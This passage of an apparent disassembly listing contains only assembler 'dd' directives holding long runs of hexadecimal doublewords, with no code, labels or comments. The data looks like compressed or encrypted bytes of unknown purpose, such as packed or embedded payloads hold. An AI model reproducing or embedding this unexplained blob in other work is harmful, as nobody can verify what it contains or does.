0DD1FCB36h, 0D673E500h, 80793BD9h dd 31F40085h, 185CB52Ch, 0BD00DBF8h, 7F4A0F26h, 1F7DD57Bh dd 9A5AB4h, 0D99DD365h, 0B500A6CEh, 0E3702DE8h, 50E4282h dd 0A377AD2Ah, 401EC068h, 6D000224h, 0C967C013h, 0CF5661h dd 0C836A7D2h, 0ED6EFF1Bh, 382ED707h, 1007630h, 47C2DEh dd 0E0069812h, 0C53F62F9h, 561BAD00h, 1541C1E8h, 2EF40137h dd 0D3EAEB5Eh, 0A0AD20E0h, 0F831113Bh, 6AD6E201h, 0BC56B102h dd 0F2AB2E80h, 0B65192F5h, 3B0A6858h, 0DCCA00F7h, 0EDD957ADh dd 0E4260338h, 0D152670Ch, 325579D0h, 3F6E4400h, 8AD35B84h dd 2C732833h, 0FBEC00C8h, 7CA89415h, 950010C0h, 0D1577AD9h dd 0E2973CE8h, 0D5C0021h, 61A5686h, 2C00C2A5h, 41096953h dd 2849FBh, 16E9D67h, 0A551910Dh, 4A750B07h, 290CDD7h dd 371849Bh, 96532A05h, 69C095F3h, 0CA01A236h, 0C4AADB2Dh dd 142432FDh, 18E60077h, 5B3013Eh, 0C5006DA5h, 0FBC87567h dd 12435Dh, 5A067628h, 0A4BD2079h, 9035A300h, 0E00B3F51h dd 22200C0h, 0B9C20A65h, 3B0F80F5h, 8076A7AEh, 4F6E8B46h dd 7C9B000Eh, 6FE53C7Dh, 6814291Eh, 99E3BEh, 0FB84E97Ah dd 0D216Ah, 63809A2Eh, 887002F1h, 746CC26h, 2D225503h dd 4DFA981Ah, 0C95100C4h, 2647D1DCh, 7724F993h, 0F28E40D3h dd 0A0F80EE0h, 0C8869430h, 0B024604Fh, 6C0ADFFCh, 541DE3FCh dd 110339B7h, 33BAA1h, 520EAC20h, 2A50C156h, 222E6B07h dd 60D0B440h, 7C654D2h, 6DD855B2h, 2F5C804Eh, 6F094F53h dd 0D9CAEBh, 0FA3AACCCh, 6BE000FFh, 5EC2D3E8h, 0EA09DB55h dd 7F2FE5Ah, 44F01670h, 0C3473Fh, 7EECF938h, 52D169A4h dd 0AA0051FCh, 0BA1DC006h, 42DBFDh, 4C641FFAh, 0C5AD835Ch dd 29353C00h, 0E767D58Eh, 0F2C98E3h, 42239FDFh, 7945A881h dd 2500301Fh, 0F20D3F14h, 0C26F02E4h, 40E67699h, 0E52D18h dd 874D16EBh, 1D3B19E2h, 0DC4A6D00h, 11BEF354h, 0FA77ACh dd 0E99A3299h, 88A84731h, 0F2940350h, 5BB300Eh, 5ABEC057h dd 3039F004h, 67407B3Bh, 75017AF5h, 1597D30Dh, 0C77C86h dd 36B13038h, 7B50116h, 607BC302h, 92E41Eh, 312D8948h dd 7AD6B43Ch, 0B887D000h, 0CF102AA9h, 9882318Ch, 70B65328h dd 4401AF7Bh, 0FF59AB2Eh, 3EC852A6h, 90744CFDh, 0B7CC7383h dd 42A9DDC0h, 0F6023700h, 658AF0F5h, 0BA9C01C5h, 46DFA1D4h dd 0F33AF889h, 0A2853Bh, 0C03E5680h, 0BDD2C1h, 261A7C50h dd 9EA518Fh, 8596FD60h, 0CD1DAFh, 0B22E8975h, 9DE269ABh dd 0B5013EFEh dd 0D58D49Bh, 0AAFC8BA3h, 0F7120310h, 5A4ADB35h, 4F7EE8E0h dd 5D3BC500h, 6C21AF0h, 0A14D0045h, 0E38EC01Eh, 110031B8h dd 467C9D8Dh, 486575h, 19E4279h, 9808954Fh, 27CDD51Ch dd 980A26CFh, 501020h, 41A316D4h, 1BDA4369h, 0D102E978h dd 0A66F807Dh, 0A846047h, 11BF1652h, 0F5144390h, 8EB8B773h dd 940074DFh, 0A0D07C68h, 28FD5EE3h, 0A0BC4C91h, 382B1CCh dd 4A8F9B08h, 0C5F812B5h, 58481799h, 0E2750094h, 0D2411613h dd 0A32900B9h, 6F613E9Dh, 0DE00A048h, 93501AC3h, 3C1FAEh dd 92AFA62h, 148CB78Fh, 0CF3EF600h, 5EE0014Fh, 0BB7B1Dh dd 0A0EC7E89h, 98793DB9h, 0E21EF77Ah, 82C0F18Eh, 870621CAh dd 0BF4D007Fh, 84D91903h, 0C777847h, 81E4EE0Eh, 43A5C138h dd 78849027h, 0C039CE93h, 955A9BDh, 85B95339h, 0FB3058ECh dd 0CDAC8804h, 124ED181h, 0F97C60F6h, 4D9C006Dh, 77B53F5Ch dd 840204E9h, 163DAB58h, 0D44C400Fh, 3F2E0078h, 0DF5103D3h dd 0A0004B18h, 4FB0ED0Dh, 246DB50Ch, 5BF7BCh, 0B842117Fh dd 0EE14B9ABh, 0B07E3Dh, 8A304A63h, 3F6DDF0Ch, 200BC80h dd 1B01AA89h, 323F88E8h, 0ED0EF9BAh, 5EB12F51h, 0F9AF8A80h dd 703974D0h, 1E9E0054h, 0FED322BDh, 47005C60h, 0A813C4B5h dd 6E1DF2h, 71033E96h, 8D56C19Eh, 4EA7F300h, 274BAF5Dh dd 9F78B5B9h, 3078602h, 60100D8Fh, 33226Bh, 206AB64Ch dd 34387CB8h, 74F8E00Fh, 6809A052h, 0D13923h, 0B62C8B1Dh dd 97AD8A1Fh, 0A026781Eh, 755F6680h, 9CD86Eh, 0CF2D0B19h dd 517EE7D0h, 0A8AA3D01h, 1B790E78h, 0D61830h, 7A57AB26h dd 0BE37BF35h, 8E6BA028h, 4B836D00h, 0E24C7473h, 899414FEh dd 3B1EDC18h, 0C2678096h, 2D92166Ch, 1D4EBF00h, 1457ED2Ah dd 0C030EA2h, 47A0907Dh, 9702014Ch, 22B76500h, 5B2ACF72h dd 0DE310592h, 0F090E9h, 3CFBBEDEh, 341ECBC2h, 4840F1E4h dd 6D506759h, 61A83D69h, 0E0331195h, 7AAAF00h, 0B1DB680Ah dd 0CA204400h, 0A1C55C36h, 0B2F403h, 842537Dh, 0E95A4BFDh dd 6C008D70h, 0A83323BFh, 0FB98C55h, 0AA46D716h, 603931C7h dd 0C099A278h, 18063600h, 1587533Ch, 8C690066h, 0E69E67CEh dd 0FD0039EAh, 9CC47D30h, 1DEF5AEh, 0DFF8322h, 0C42BF98Fh dd 40B868A1h, 5E4FE800h, 472AEF84h, 2F20003Fh, 0D339B2C3h dd 650012DBh, 0C6964C51h, 0F7D56Dh, 0EDB178F9h, 304E95CEh dd 9DDB9200h, 77DBF17h, 506A0747h, 215E25E2h, 0C8E67323h dd 1B736154h, 106A525h, 479C0944h, 86CC34h, 384EF97Fh dd 0E9B47D87h, 0FB838206h, 70202698h, 4B2C0084h, 577E88C0h dd 41178767h, 19119h, 0AC2904Dh, 0D5AA3280h, 0BAC39550h dd 44943C01h, 4B4C129Bh, 3611A0DBh, 0ECB0317Fh, 0FB58A2FCh dd 0F16695E8h, 0A57B6102h, 0C815ABAEh, 1D304D18h, 0CB59988h dd 53B80728h, 0C058F503h, 39CD330Ah, 32001529h, 0CFAD9CACh dd 3400B656h, 4317934Eh, 28B40B75h, 7CBD11h, 0D351EEC1h dd 0DA99AF40h, 0B082281Fh, 4700571Ch, 38C806E8h, 1A7D39FCh dd 2827A803h, 0D5D06EF2h, 0F4008862h, 9AEBFDBh, 3B93A03Dh dd 0F0E2FAh, 0A6EAACD0h, 496B803h, 0AF243C00h, 344C8B60h dd 0CD520072h, 0FD373DB6h, 0B200E0ACh, 7DF50375h, 0FE54A47h dd 13F928E7h, 1905EC20h, 0CC00ABE9h, 5BEAB388h, 2ECF974Fh dd 80247549h, 7AE932A8h, 2CF11B02h, 0FC04423Ch, 5F931C6h dd 0C8581810h, 63BA341h, 24828015h, 0F93E75CFh, 74DD3EB8h dd 9380FFB9h, 0A954DBEAh, 451ED15Fh, 729F97E0h, 30FEA700h dd 0F25A75F1h, 0AEEC00F8h, 8313B7C6h, 5C1E2257h, 911CD2D9h dd 46D45140h, 0E63CC8h, 820D0CB1h, 13A9A6CBh, 3B0E2200h dd 0AF03FC75h, 90D439E8h, 14A55880h, 0FA80397Dh, 0E100127Bh dd 0D1326975h, 3C7C6h, 558DA14Eh, 36438CA4h, 5F87A301h dd 0DE9B68C4h, 9DC8C4h, 0AFBB6E39h, 8152201Ch, 84EC991Ch dd 26274C80h, 3F9665h, 591929FDh, 0A6036D1Bh, 8492AEE0h dd 78012C4Ah, 938CE6CBh, 9FEBC887h, 693CA3E3h, 0F24B97D8h dd 19AFD200h, 7C79BA23h, 0A1321DC6h, 10A9441Fh, 0D07493E0h dd 5C2006D8h, 35314A00h, 13925A1h, 28510017h, 3E227D7Ah dd 0DA5C87EDh, 75400008h, 4B6C13Ah, 0ECB0028h, 0B29CAE7Ch dd 0D11E4F85h, 2D874AE8h, 5A2026A4h, 7BBC79h, 0A67C2339h dd 6E6837AFh, 881F107Ah, 81C0F84Dh, 0ED062A86h, 2DFA3C3Ah dd 0EA71809h, 6D51D880h, 931C2E77h, 0E3074F11h, 0DDA072A1h dd 7B6685B7h, 0BB600F3h, 43AE99Bh, 0E600F641h, 81EC560Eh dd 0FF36C8h, 66891195h, 2129E110h, 57727E00h, 0CE5E6D79h dd 0FB0400D1h, 2384DDE5h, 5500808Eh, 2CC4FC78h, 3E92753h dd 88AB1252h, 0D0007154h, 0EF4B9DADh, 3E2034A8h, 408948EAh dd 7840D10Ah, 84E6D7h, 2EF1B90Fh, 0A51FA9FFh, 42676F09h dd 82880DAh, 301C5E21h, 435831A4h, 29587E4Ch, 7AF1006Fh dd 8DB38760h, 49B70068h, 6E893F0Dh, 0ED3CC89Eh, 171BF83h dd 0E21FA238h, 47708BB2h, 750E01CAh, 0FDB0A422h, 7479F866h dd 4B197000h, 0B2E1EE16h, 0A16F04B6h, 0D01427D3h, 17DD996Ch dd 0EF3AB707h, 2300BD7Fh, 7EADAA20h, 0CEF650h, 2A9FB594h dd 8029FEBFh, 608EAE6Eh, 0E08AD265h, 0B5CA0231h, 0CCC432A9h dd 18E64840h, 89720B00h, 0D16F4F57h, 0F8E948E2h, 0F8044048h dd 0C0150395h, 988766DBh, 0D29A6001h, 6BD05B17h, 0D5C68340h dd 6D3E0068h, 0CEE22220h, 8900CC9Ah, 0AC9813A0h, 2B9B1DFh dd 0F34829DCh, 986034DBh, 0B0005C5Dh, 7EAC530Eh, 597C11h dd 3EB9E9A5h, 0F8C1837Bh, 0A11E4F00h, 63DDEFF2h, 9FE0A012h dd 440B008Bh, 4E3A1BD6h, 5AFAF664h, 6DF04D1Dh, 0FE80D35Eh dd 5EE4A625h, 9C7500CDh, 3851A2D9h, 0AE02E9AAh, 36A0242Eh dd 0A0747856h, 1F905546h, 0C0E1D696h, 8E5DCD95h, 0A7009873h dd 6FE39725h, 276680h, 0CDF0500Eh, 489AB3BEh, 47287900h dd 0C393DE42h, 8E4E0001h, 9109BA55h, 0AB000ED0h, 31E78C4Bh dd 7074217h, 1EAF0DCh, 24E0CFBCh, 670318B1h, 0C8E68104h dd 1CC08B94h, 39A7BB29h, 3B03D83Fh, 35750CC4h, 0D44B15D1h dd 2AB8D98Ah, 0F75E8409h, 0C0F862BDh, 768BB5Ch, 1E6EF030h dd 0F93B90CCh, 3F7ACA76h, 73054B00h, 2586139Ah, 1ECB7671h dd 0CAA1D29Eh, 80EC8ACFh, 83A7308Bh, 29005A3Eh, 21B5AD8Fh dd 0A0DE7Fh, 746C6E1Fh, 4D1C8E25h, 0C68F900h, 2801261Eh dd 0BF34042Dh, 0C018419Ah, 745C7E58h, 57B0DA00h, 4E94882h dd 0C08F09ECh, 0D040D8C9h, 1D29947Fh, 84811428h, 0FEB5F1EDh dd 0FC4FD540h, 0DDA6028Eh, 0C04D406Bh, 5012C450h, 0ED1F645Bh dd 90403752h, 9D94F3C1h, 158C0707h, 50541F2Eh, 0AC3AA15Fh dd 55CD9000h, 0B548240Bh, 72130069h, 4EB42FC5h, 670EB78Fh dd 0E0FE31B0h, 8A4AF00Fh, 80FF0007h, 5576C2Fh, 5900DEA1h dd 812138B2h, 0B5DA11h, 497E87F9h, 0D47B5779h, 0AE6E2300h dd 10ABB8CBh, 0B190E2Eh, 0A2C16232h, 208D25DFh, 0D818C8DCh dd 81385215h, 22E81Bh, 0AAA437BEh, 7B0C3B71h, 1016C200h dd 417331Ah, 5D52018Bh, 0B61C95A2h, 972EE4B3h, 282F403h dd 882C57FCh, 3FF009ABh, 7D138Bh, 7AFBAEA9h, 16BA1101h dd 3E083500h, 0B34EED2Fh, 73E60045h, 955B6AC2h, 1400505Eh dd 517F81F3h, 4F340F94h dd 0B71862C6h, 9DC9388h, 5A009384h, 0CF1C2E6Eh, 41094A7Ah dd 8030AA60h, 0FD429590h, 0E0F00054h, 0D43C3A6Ah, 0ADF88848h dd 0F1A45B00h, 2E415DD2h, 81CA0E29h, 0D23D7FC6h, 21B8886Bh dd 0DD1F0A0Eh, 8926634Fh, 0FBE3E87Bh, 0AA3B00F6h, 78790EC1h dd 0B2001A0Dh, 2539D18Ch, 0E2501Dh, 5DDBAFDFh, 0CB8E0E84h dd 0B9BA3800h, 9D9791F3h, 0CED400E6h, 4F77CCA2h, 18286FE9h dd 0DE00862Ah, 1440A43h, 6BD64Ah, 0EE111A4Dh, 0E1CFAA78h dd 49253603h, 0C0AB3B83h, 3BD2439h, 1442E684h, 29008DC8h dd 4605A402h, 74E809Dh, 0B216711Bh, 4FD840E0h, 0C113A631h dd 9840D46Ch, 0D67918Bh, 5B898DBh, 1C024C4Ah, 9710D071h dd 0E27E07E7h, 24BFFB00h, 55696F74h, 0F83300CEh, 1461C3D5h dd 0EB5844DEh, 9FA7C044h, 0BFC12DFh, 0FD2C4C09h, 532BD8A0h dd 66004771h, 0DE1FB5D4h, 2C638903h, 44300722h, 18F0A479h dd 3D07A298h, 0C60B78E9h, 7699E541h, 0A381002Ch, 12684B04h dd 738D0047h, 0B7F00643h, 750652F0h, 0E7ADBE98h, 0D4611D80h dd 90DEF338h, 874C4938h, 30E915BCh, 9C924E90h, 0A2B2012Bh dd 8FB656D0h, 80DC284Dh, 6BEC73Ah, 4FBD0F2Dh, 0E73D57Bh dd 10AF296Bh, 23588140h, 6012D3F6h, 0E0885603h, 5F6A3979h dd 0E0B71F75h, 0B693C0E7h, 0B20E7856h, 9FE5B300h, 0FC15874Dh dd 7A7F821h, 4A0AF77Fh, 9B14F0D0h, 4000A03Eh, 3A77B4B9h dd 0FFE89Ch, 0EA521E91h, 8AC93228h, 6F3B1400h, 853CB243h dd 19630038h, 4184D07Bh, 0DCE072B1h, 0AA2B690Eh, 275CE381h dd 853880EFh, 0F13A0097h, 2BFD9317h, 6E1095CAh, 0BA1EE9EBh dd 6F4E403Fh, 9A2805ACh, 1308F566h, 1B450E21h, 59206187h dd 1701A3D5h, 2C154C14h, 6B330FFCh, 0F6AE409Eh, 712443h dd 563F8F3Eh, 0C24B867Bh, 18B55Ch, 9A0A5812h, 923DC185h dd 0BB67308h, 834CC2AFh, 8C3D865Eh, 21DAB4DBh, 66DE1C3Eh dd 0FE6443B7h, 18763BC5h, 608BCB29h, 9C87B900h, 86385DCEh dd 1CDBA420h, 41417E8Fh, 0D86E0FCAh, 55CC7078h, 71B9F000h dd 0CBD15B4Dh, 2A850994h, 0DC68833Eh, 56C1F61Ah, 0F5F2B240h dd 0DC12F89Ch, 408AD23Ch, 0A1ADF130h, 8879E93Eh, 3D11B50Eh dd 6420927Ch, 712535C4h, 0BB6600A4h, 783418A2h, 2B01F964h dd 0B4F7BE38h, 0C0309205h, 0F90263AEh, 3DC8AD08h, 0DE017757h dd 0C2C196E3h, 21800906h, 538D92E1h, 0C900D2EFh, 0DB94DC1Eh dd 14526771h, 98B20A29h, 0CE977A03h, 0B939C777h, 60F8B840h dd 0E4C21FC8h, 0C5E865h, 54CCF61Dh, 0E3247921h, 56B08E00h dd 531CB5F0h, 0B79202E0h, 94587DEAh, 80E78680h, 7C070372h dd 1622DCE9h, 7A0DC630h, 7E130061h, 9FFEF1C0h, 53005D70h dd 0B6C964F5h, 0E0DBAD22h, 0C54C0188h, 3E9FBD0Fh, 8F088CE7h dd 0DC2053h, 2B4F856Bh, 3CE447EDh, 71002470h, 48BB4C65h dd 374AE23h, 1821D345h, 580FBA17h, 40AB804Dh, 9E0A369Bh dd 817E3A95h, 20CAE118h, 790158B2h, 0CF2D7484h, 0A0920744h dd 4C000047h, 76DB71DAh, 29B080D9h, 8804AC18h, 0BE6FC5F0h dd 0C8B8F92Dh, 363CC317h, 0B6BB0B1Ch, 276C0F45h, 498C71DCh dd 6DC00366h, 0FFEC25Dh, 7865AE34h, 0D723903Ah, 0EDDD1339h dd 0F1CC1D00h, 67039CA3h, 1EBB2057h, 0D9B7FD80h, 700B580h dd 0C735DF54h, 0EE813Ch, 1B7BBD95h, 0D67F2467h, 5CBC8002h dd 8157B46Fh, 0C82BF748h, 8808AA08h, 0C4DFC70Ah, 173241C0h dd 0B2C81C88h, 8DB41F81h, 293E80F0h, 0BFF56999h, 3621AC00h dd 0BA9DDF41h, 0E4900BDh, 66D56CFEh, 78FC7057h, 0A8983E01h dd 2A3C1FB7h, 88C9D0h, 4DE22705h, 0CF0B4823h, 0D20068F0h dd 0B1EF3C6Eh, 0EA640Ah, 1624789Bh, 6FFA3FF4h, 0A1F57300h dd 839262B5h, 142D00E7h, 78546E0Ch, 0FD099611h, 0C1B7204Ch dd 0ACD0B207h, 0F520C064h, 749A97B6h, 7D815000h, 20D3365Ch dd 710500E6h, 656858CBh, 930392B5h, 498A1324h, 3E2F996Bh dd 34D84080h, 25C33A87h, 8C00D978h, 354A31F5h, 38A1AC06h dd 6F001EB1h, 7A4993E2h, 213C0CCAh, 0CCCB3h, 801D8D8Ah dd 6394B29Bh, 700C506Dh, 580288A0h, 4E106261h, 0CDF8D264h dd 0BDB77DA3h, 55A32CE3h, 762E2100h, 419059D6h, 23F20012h dd 6880675Bh, 58BF4F8Ah, 0D917240h, 928FB1C8h, 53AAEC18h dd 11C541C1h, 1880EF22h, 540F2B59h, 770026E3h, 2494B027h dd 7CF3958h, 0D878D196h, 0D349C01Eh, 0E6004E10h, 3E86D4A8h dd 1DA077Ch, 36BF2EF8h, 43A0BD55h, 0A09F59D4h, 9448CE68h dd 8D0010FEh, 0C4091807h, 7567054Eh, 0FE2307D9h, 93ED491Eh dd 87D77CF2h, 1BC57096h, 0A300C35Fh, 0D570B3B6h, 950B09Fh dd 0B1ACFA9Ah, 305DA480h, 4738FFD2h, 0E0628177h, 0DAD912D4h dd 0FDEEF8h, 5043C155h, 74FAC272h, 0BE780F1Eh, 0FC9C9940h dd 48E91FA8h, 0DA006605h, 41622A87h, 606053ADh, 0D04FEF30h dd 0D3BF00D4h, 7674F8B7h, 0DA00D187h, 872C130h, 7F7CFA8h dd 0E3509844h, 68E656BDh, 5D427607h, 26C01929h, 0C369Eh dd 52F78DF9h, 55A70D59h, 85076C7Eh, 70116E71h, 0C0228FF3h dd 0D19BC8h, 7F07A863h, 5F0F2882h, 8E9DC619h, 7BEC4288h dd 0EFD000DAh, 96867A8Dh, 6A2C2FDFh, 8A00BB22h, 7B3DC27h dd 0B06B6004h, 40B060FAh, 0EBECBD00h, 310BE1D9h, 4E79007Eh dd 0E430428Eh, 2E00B350h, 0F93416C2h, 0A07C74h, 4948B664h dd 0DDF33799h, 3870FBFAh, 0C6A63Ch, 0AC087017h, 0E406B8A9h dd 0C12E004Ah, 7C51FA30h, 20004295h, 5CE123A7h, 50BC92B0h dd 0CF8CEDh, 87753AC6h, 2A3F0E2Dh, 9B203502h, 98DF6134h dd 131AAA0h, 2789FC3Ah, 0BE67778Ch, 8B780098h, 963B7151h dd 66747Bh, 880A4A91h, 0C1CD16CFh, 87D5073Fh, 8FD15CB9h dd 44270410h, 97E100BEh, 693FAEF5h, 0F0FC1F96h, 3A17B00h dd 6091AC58h, 28A20027h, 85A41D01h, 9CCDB92h, 0C72107h dd 263128E9h, 6888473Eh, 0B4C81201h, 76B3665Fh, 0F032980h dd 1A8DB1C0h, 10694100h, 90397C22h, 4B4D006Ah, 0B2010E6Bh dd 6861285Ah, 91F5A220h, 1C69A6C7h, 7C07926h, 0DC909AD1h dd 0C4376A8h, 0D8554302h, 0F2339C1Dh, 0A5402ADh, 0E4002E0h dd 9A807B00h, 25FBEDD3h, 3B0BFC81h, 77B113D2h, 0D47494B8h dd 80F10E11h, 9BFE31C0h, 0C8216A1h, 7CC2F55Dh, 21C3BE08h dd 98E586D1h, 173CF53h, 6E4DA730h, 202E9956h, 140C2C4Bh dd 0B992081Dh, 0BBE018C0h, 4721E0E4h, 1F578D00h, 0B3763498h dd 94030055h, 5251D308h, 0E0042E6h, 0F814BC0h, 9E4A29Ch dd 4E4FD6CFh, 0AB8E0680h, 0CB00F3B9h, 0D987B41h, 0A7ECCDBh dd 0A4454717h, 762810h, 3131ADFh, 0C59ADAFBh, 37AABE00h dd 0C6AFFF8h, 64B90078h, 364D8596h, 1603EB6Fh, 0CA1A94A2h dd 0B593C05Bh, 1E98C9h, 44585F69h, 78195E83h, 4A0E810Eh dd 35B0C0EAh, 3A1C91D4h, 0E200AED9h, 20C35A07h, 240CA66Ah dd 489085C8h, 3FEE00D3h, 0A50DAAF2h, 140069D1h, 90CF0EF6h dd 7CAA8FFh, 0EE6BF776h, 345F1321h, 45F3A000h, 0BB4F582Fh dd 0B84400D1h, 0D5CF4657h, 36009004h, 112D42E8h, 1EA6D3h dd 0A3AB35Eh, 729EC0BAh, 452240C3h, 6D780712h, 417AE420h dd 0EC60B8E6h, 4101B116h, 3358AAEh, 9ED93D65h, 50D3EBD0h dd 60A4E2E5h, 0B5DA89A0h, 0ED07D7DFh, 0AD3C3AB6h, 820B1370h dd 46173DA5h, 4100FF3Fh dd 7549FA7Fh, 55FAD5D0h, 0BF191816h, 4AE41301h, 9DFCBB2Bh dd 1BC33EDEh, 57D06901h, 0FC5446CAh, 9800682Ah, 51F48460h dd 7E1F0B4h, 0CC2F4F9Ch, 0D13483B9h, 0C88A6481h, 0BB06C11Fh dd 8F05E425h, 73503810h, 0DD4B2861h, 0F693C857h, 46008E78h dd 0D8C82D08h, 4C751D47h, 6000EBF3h, 4D1354Eh, 0C1DA69Bh dd 0AE00875Ch, 4F859AA5h, 40893D0Dh, 3CFB7400h, 0B9597F66h dd 37E41C00h, 0C1E1DC2Ah, 7DAAF83Eh, 26B2002Dh, 9677C2ABh dd 0A600569Fh, 0FADD99E0h, 547BBD8h, 4EAE42E9h, 8788001Eh dd 0AB53DE1Ch, 0CD0CDD01h, 925E1F82h, 0A94F0h, 0FA23E913h dd 0A7A25C3Eh, 785A8400h, 1829A9C0h, 829302B1h, 8DE795FFh dd 912019E8h, 309EB03Ah, 77C12184h, 53CD0057h, 405E69BAh dd 634C4512h, 38A900FEh, 0A1ECB4BCh, 20163EA0h, 3999EA01h dd 83B82781h, 860B1F40h, 5260C775h, 8ED0CAh, 951DA2Bh dd 4320A28Dh, 1E6064F2h, 1CC06971h, 0AC50A925h, 0D3E45361h dd 0A50A99Ah, 5F595810h, 0B7CACF03h, 0E03FE88Eh, 5B686A9h dd 51EACC06h, 28F00EAAh, 0C0648B21h, 88304ABFh, 0C9FAC077h dd 2F1C868Fh, 69008473h, 78469A72h, 4916F002h, 0DB004414h dd 21F0D55Ch, 0ED00B062h, 50B2A636h, 5D4D71h, 0E569857Bh dd 82ED20Ah, 0E3964E07h, 0A9F09A3Eh, 3F9025h, 663DAE44h dd 26576BBEh, 5E300A00h, 0DB43E1EEh, 18990058h, 0BE519BD3h dd 0C60077D6h, 0F5E9310Eh, 0FB4B74h, 1BD478F3h, 7F6B5F3Bh dd 8D2CF200h, 75B1FAA4h, 20BF074Bh, 70A0C0B3h, 9491A2BAh dd 19B6F00h, 84D30E97h, 178A7F54h, 872CFCh, 0BD13E5FDh dd 25773E46h, 2EACA39h, 2EB763CFh, 62B7C0D1h, 2AB90092h dd 502813A0h, 6A016BC9h, 0C4BAB08Dh, 0BBC4A54Fh, 0ED270768h dd 0D08FB957h, 38A45409h, 0FC45D0E5h, 0E3983E2Eh, 9F075700h dd 0AC5187h, 0F26F4653h, 4E7E9A06h, 3F01B6h, 0B60CA11Fh dd 5EA18h, 953E4B84h, 0B760BA4Ch, 0CA68A000h, 0E9663AE3h dd 6FD4261Fh, 0C91B0018h, 2F5A53DDh, 0D7A0B90Eh, 0F5908096h dd 0E133CFh, 5F793165h, 1C8EDC60h, 7B0088E4h, 62E74BC4h dd 395CEB78h, 869CFDDDh, 0A1768004h, 6B74D651h, 0BA6C3212h dd 3F1BA114h, 0E467806Ah, 0B801A3BFh, 829C01E8h, 7DF609DAh dd 0FAC5C455h, 20184D6Dh, 0B1C0041Fh, 9B477D3Ah, 5EEFE900h dd 6B5CD5B5h, 0B6CE0078h, 0C3848AA0h, 0CA00B0A4h, 0B25B75D9h dd 0C8BADD25h, 0BB475728h, 0DA5E8808h, 88DF1988h, 86947993h dd 23220828h, 33AA0C77h, 0EC847F79h, 16C24022h, 8AF87584h dd 84CBE661h, 0C4726B28h, 46419A08h, 2701B9F1h, 0FB518077h dd 0B0A385E4h, 0E110842Eh, 2318ABC4h, 0A81A2903h, 44328640h dd 8A65F394h, 64068F79h, 1951D763h, 790F47E6h, 608B12C9h dd 78B67Dh, 0E0C2DC7Bh, 0E3F0EE5Dh, 9C302900h, 6B1349DAh dd 22C0002Eh, 68196A7Eh, 610058B4h, 104271EAh, 769FC0Eh dd 0BA8B0FFEh, 0BB79B0AFh, 4500AD17h, 2E87848Fh, 1F42F622h dd 7DB3C11h, 6117826Bh, 0F4F42918h, 620051FCh, 0ACEBBCD9h dd 0F5F9B9h, 0B0E5C552h, 99A1D4BEh, 784E2100h, 0B4C33347h dd 1D3D0EC4h, 6A0FB571h, 771400B2h, 0F68ECF0Bh, 26FBF100h dd 0F8834839h, 0BAB80F75h, 0D8632131h, 0F916136h, 15D3E0CFh dd 534C7000h, 941203E8h, 0BA3B0EEDh, 4340FC2Bh, 108AF672h dd 865D6A00h, 514F2952h, 0ADB5002Fh, 77CEA0DCh, 6A184C16h dd 520AF38Ch, 2AA5002Dh, 0E69DB2CBh, 0F90FB6E4h, 736FD7h dd 64CE6921h, 4F1600E9h, 481E0DB7h, 8A005867h, 0CAB1F6A9h dd 1B3B93h, 9938EEDBh, 0A349B8E8h, 97002472h, 0BB56B195h dd 0F63BD4C0h, 28B6009Dh, 3945C5Fh, 0AF000BF7h, 9E245497h dd 1E1B14E8h, 2ADEE51h, 88643910h, 0F128B7E0h, 298CB300h dd 5411C583h, 82EA0081h, 0DE9042AFh, 50EF01Bh, 0C0E10B3Dh dd 0DDE06DB1h, 0A5A00014h, 1FDFD438h, 0F607F71Ch, 4D1353EAh dd 0B7E497B0h, 488800A2h, 1584DCA0h, 0C6002EBDh, 898647D6h dd 3E97B279h, 79C5D7h, 0F44DCAFCh, 90A3FE07h, 0EDAA9E00h dd 0C7641978h, 9B6E0795h, 80213E57h, 0B41CE86Dh, 5C8C260Fh dd 7539204Ch, 0D34E5Dh, 0D6BF373Ah, 76F17F5Eh, 48DEC200h dd 101778A4h, 2CCD0F19h, 9D8A06h, 0CE290413h, 871DC981h dd 3B40974Fh, 421F8D1Ah, 0CF7300CCh, 47A6E974h, 4D00E580h dd 4183603Dh, 769CB0Fh, 0A0441FD8h, 94248099h, 3A00FCBCh dd 224E0473h, 31FBDD4h, 0D0150D88h, 0EC884BDBh, 0B14C0C2Ch dd 0E84800A9h, 3E694125h, 267B7E4Eh, 89707553h, 90102302h dd 8A0096F2h, 675F1B16h, 909D69h, 0D7D12349h, 94E44021h dd 3A73D507h, 0BB302248h, 3BC370h, 31ED568Ch, 0C578AE47h dd 84E6A100h, 1EDA8967h, 0A440B782h, 911457D7h, 7CF47F1Dh dd 431FA102h, 807C82B3h, 0BA3AB490h, 0C4EA3C78h, 0AABCA4h dd 0D95CF17Dh, 0B201A41Bh, 0BD81E879h, 8AFC7333h, 1430EB6Eh dd 22E403AAh, 134F694h, 44652C81h, 1310C084h, 4D18FE79h dd 42CA4ED2h, 7DC539A0h, 0EFABE380h, 0B8900DCFh, 77F38100h dd 50A2639Ah, 0DF87BFA6h, 0BAACC086h, 0EF02200Fh, 0D0D809DDh dd 90A883F0h, 0CB57F976h, 0DE694880h, 7566155Eh, 1400FDE0h dd 392BE28Fh, 73BAFE3Dh, 841D07A7h, 0B0080148h, 65EDA85Bh dd 7BDDBE00h, 3AF83D43h, 0FAEAAFh, 948D89B5h, 7D6C4997h dd 1277038h, 47210CA5h, 0F5C071C5h, 759BB890h, 0BFB700FCh dd 311DB398h, 58039F78h, 7F020ED3h, 5BEC89B2h, 7D8C8E0h dd 0A2F1F5FEh, 0D493A375h, 151F40C8h, 9D6B7900h, 8BB62B44h dd 0B07098h, 778CC180h, 0F6928318h, 2600DFFAh, 593605E7h dd 0F5140Ah, 2A221F2Ch, 21F1D3B1h, 1BDF0603h, 0E0A3C642h dd 0ECC29E7Ch, 0D0D0F3C7h, 0AFC00152h, 9A944B70h, 0E9A1ECE0h dd 0DD0F967Dh, 803E43C7h, 40AB337h, 565D041Ch, 809C29BCh dd 34EFCFC8h, 62073898h, 0D5FACD65h, 0B004A08Eh, 1C544Dh dd 0E85B224Ch, 6C246692h, 3403C101h, 63ACF7EDh, 12335F0h dd 555FA8EFh, 0DE1CC9DBh, 0D491C840h, 9C2AFC03h, 88C0F8D8h dd 19B2358h, 3E3552ABh, 0D8731B0Fh, 5B02EA5Ah, 3BC1B3DAh dd 0DC1000C9h, 6F09FEA9h, 0ADFFBAh, 2E8813E8h, 21480FB6h dd 0B082DF0Dh, 65E0B467h, 520038F1h, 80341876h, 1641902Ah dd 130F48h, 0A6EED163h, 0CA004337h, 6BCD5545h, 4B424Fh dd 3A1EFCBFh, 1FE1F3B8h, 441B7B00h, 589228B3h, 549E5C3Eh dd 849D2C00h, 